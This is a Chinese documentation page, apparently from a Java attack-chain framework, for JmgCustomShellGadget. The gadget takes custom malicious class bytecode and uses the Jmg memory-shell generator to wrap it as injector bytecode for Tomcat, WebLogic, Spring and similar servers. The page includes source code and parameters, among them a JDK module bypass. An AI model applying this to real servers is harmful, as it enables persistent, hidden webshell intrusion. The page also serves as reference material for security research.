Skip to content

Latest commit

 

History

History
89 lines (78 loc) · 5.96 KB

File metadata and controls

89 lines (78 loc) · 5.96 KB

借助 Jmg 注入器配合自定义马生成注马字节码(JmgCustomShellGadget)

  • 类别:bytecode 别名:— 优先级:11
  • 作者:Pen4uin
  • 依赖:内置 Jmg(java-memshell-generator)SDK、guavacommons-codecslf4j

作用

JmgGadget 类似,但不用内置工具模板整马:它把链上游产出的任意字节码当作 shell 主体(自定义马),仅借用 Jmg 的注入器逻辑把该 shell 包装成可注入的内存马注入器字节码。适合「已有自己的恶意类、只想用 Jmg 完成注入」的场景。

链接标签

  • 入口 tagsBytecodeInject —— 表示本 gadget 既接收字节码又产出字节码的「注入器包装」环节。
  • 衔接 nextTagsBytecodeConvertTag —— 区别于其它内存马 gadget,本类不是 END:其产物仍需再经一个「字节码转换/装载」环节(如 BytecodeConvert)才能被目标加载。
  • excludes:无。

因为它在 invoke 里通过 chain.doCreate(context) 消费上游字节码(自定义 shell),所以它必须处于链中间:上游先产出 shell 字节码,本类包装成注入器,下游再装载。

源码剖析

关键在 getObject(byte[] bytecode) 接收上游字节码并决定 shell 类名策略:

public byte[] getObject(byte[] bytecode) throws Exception {
    AbstractConfig config = new AbstractConfig();
    config.setToolType(this.toolType);           // 固定为 "Custom"
    config.setShellType(this.shellType);
    config.setServerType(this.serverType);
    JavassistHelper javassistHelper = new JavassistHelper(bytecode);   // 以上游字节码为蓝本
    if ("random".equalsIgnoreCase(this.shellClassName)) {
        this.shellClassName = FileHelper.getRandomClassName();
        javassistHelper.setClassName(this.shellClassName);             // 改成随机类名
        shellBytes = javassistHelper.getBytecode();
    } else if (Strings.isNullOrEmpty(this.shellClassName)) {
        shellBytes = Base64.decodeBase64((byte[])bytecode);            // 空 → 保持原样
        this.shellClassName = javassistHelper.getClassName();
    } else {
        javassistHelper.setClassName(this.shellClassName);             // 指定 → 用该类名
        shellBytes = javassistHelper.getBytecode();
    }
    config.setShellBytes(shellBytes);
    config.setShellBytesLength(shellBytes.length);
    config.setShellClassName(this.shellClassName);
    config.setEnableBypassJDKModule(this.bypassJdkModule);
    ...
    synchronized (JmgCustomShellGadget.class) {
        try {
            jMGenerator generator = new jMGenerator(config);
            generator.genPayload();
            bytes = config.getInjectorBytes();
        } catch (Exception e) {
            ThrowsUtil.throwGadgetException("Invoke Jmg Error, plz check Jmg shellType、serverType params: " + e.getMessage());
        }
        this.context.put("Jmg Injector ClassName", config.getInjectorClassName());
        this.context.put("Jmg Injector Bytecode Base64", Base64.encodeBase64String(...));
        return bytes;
    }
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    this.context = context;
    return this.getObject((byte[]) chain.doCreate(context));   // 关键:吃上游字节码
}

逐段解释:

  • toolType = "Custom":写死为自定义模式,Jmg 不再生成工具模板马,而是把传入的 shell 字节码原样作为内存马主体。
  • shell 类名三分支shellClassNamerandom → 用 FileHelper.getRandomClassName() 随机改名(JavassistHelper.setClassName 改写类内部类名);为空 → 保持原字节码不动、沿用其自带类名;否则 → 强制改成指定类名。改名保证注入器引用的类名与 shell 实际类名一致。
  • 注入器生成:同样经 jMGenerator.genPayload() 得到 config.getInjectorBytes(),并在 synchronized 块内串行执行、把注入器信息回写 Context。
  • invokechain.doCreate(context) 返回值被强转 byte[] 直接喂给 getObject——这正是本类与 JmgGadget(无参 getObject、不消费上游)的根本差异,也是它带 nextTags=BytecodeConvertTag 而非 END 的原因。

参数(@Param)

字段 名称 说明 默认 可选值
shellType 内存马类型 挂载类型;部分组合不被支持 Listener Listener / Filter / Valve / Interceptor / JakartaListener / JakartaFilter / WFHandlerMethod
serverType 目标中间件类型 目标 Web 容器 Tomcat Tomcat / Resin / Jetty / SpringMVC / SpringWebFlux / JBoss / WebLogic / WebSphere / Undertow / GlassFish / Tongweb / Apusic / InforSuite / BES
bypassJdkModule 绕过 JDKModule 限制 高版本 JDK 反射绕过 false true / false
shellClassName shell ClassName random 随机类名;为空保持原样;否则用指定类名 random random / 空 / 任意类名

toolType 固定为 Custom(非用户参数,未标 @Param)。

适用版本与原理要点

  • 内置 Jmg SDK;报错多因 shellType/serverType 组合不被支持。
  • 本类是链中间环节nextTags=BytecodeConvertTag),产物注入器字节码仍需下游 BytecodeConvert 等装载后方能触发。
  • 相比 JmgGadget:把「shell 主体来自内置工具模板」换成「shell 主体来自链上游任意字节码」,实现自定义马 + Jmg 注入器的组合。

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中

关联